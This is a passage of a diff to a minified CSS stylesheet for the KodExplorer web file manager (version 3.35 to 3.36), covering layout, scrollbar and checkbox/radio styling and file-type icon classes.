0px;position:fixed;line-height:30px;padding-left:20px;height:28px;border-bottom:1px solid #ddd;left:0;width:100%;}.frame-main .tools-left a{font-size:1.25em;font-weight:800;text-decoration:none;color:#999;text-shadow:0 0 3px;display:inline-block;padding:2px 6px;margin-top:0;height:20px;line-height:20px;}.frame-main .tools-left a:hover{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.8);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.8);box-shadow:0 2px 8px rgba(0,0,0,0.8);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.frame-main .frame-left{position:absolute;left:0;top:30px;bottom:0;width:200px;background:#fff;background-attachment:fixed;overflow:auto;}.frame-main .frame-left .ztree{margin-top:0;}.frame-main .frame-left .ztree li.level0{margin-bottom:5px;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:auto;}.frame-main .frame-right .frame-right-main .resizeMask{z-index:999;position:absolute;left:0;top:0;bottom:0;right:0;display:none;}.frame-main .frame-right .frame-right-main .frame{height:100%;border-left:1px solid #ddd;overflow:hidden;} -/* ver 3.35(2016-12-23) [build 1482476939.6722] */ \ No newline at end of file +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112852.8008] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none 